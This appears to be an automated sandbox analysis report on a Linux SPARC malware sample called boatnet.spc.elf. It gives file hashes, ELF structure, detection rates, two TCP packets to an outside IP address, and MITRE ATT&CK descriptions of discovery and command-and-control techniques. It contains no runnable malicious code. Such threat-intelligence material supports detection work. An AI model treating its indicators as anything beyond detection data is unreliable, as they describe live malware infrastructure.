SSDEEP:	1536:LyYvD4ScEkjTRZVa5s28K+ODuXZPTqZn8gjU12xJRD1JcPyK/GasV4hC6W2dcUtP:JxC8hKGZn8pcxXbOw40gF
TLSH:	11A36D25AD792A26C0C4617B10FB8B21F5F227CD36A4831E7DB00E5DFF586143A269B7
File Content Preview:	.ELF...........................4...h.....4. ...(.......................h...h...............l...l...l................dt.Q................................@..(....@.W.................#.....`(..`.....!..... ...@.....".........`......$ ... ...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	103528
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x15f28	0x0	0x6	AX	4
.fini	PROGBITS	0x25fd8	0x15fd8	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x25ff0	0x15ff0	0x3078	0x0	0x2	A	8
.ctors	PROGBITS	0x3906c	0x1906c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x39074	0x19074	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x39080	0x19080	0x3a8	0x0	0x3	WA	8
.bss	NOBITS	0x39428	0x19428	0x518	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x19428	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x19068	0x19068	6.3448	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1906c	0x3906c	0x3906c	0x3bc	0x8d4	2.8587	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 00:57:26.193574905 CET	48202	443	192.168.2.13	185.125.190.26
Jan 16, 2025 00:57:56.657582045 CET	48202	443	192.168.2.13	185.125.190.26

System Behavior

Analysis Process: boatnet.spc.elf PID: 5432, Parent PID: 5356

General

Start time (UTC):	23:57:15
Start date (UTC):	15/01/2025
Path:	/tmp/boatnet.spc.elf
Arguments:	/tmp/boatnet.spc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Source: boatnet.spc.elf	ReversingLabs: Detection: 55%
Source: boatnet.spc.elf	Virustotal: Detection: 60%			Perma Link

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Linux Analysis Report boatnet.spc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: boatnet.spc.elf PID: 5432, Parent PID: 5356

General

Chronological Activities

Linux Analysis Report
boatnet.spc.elf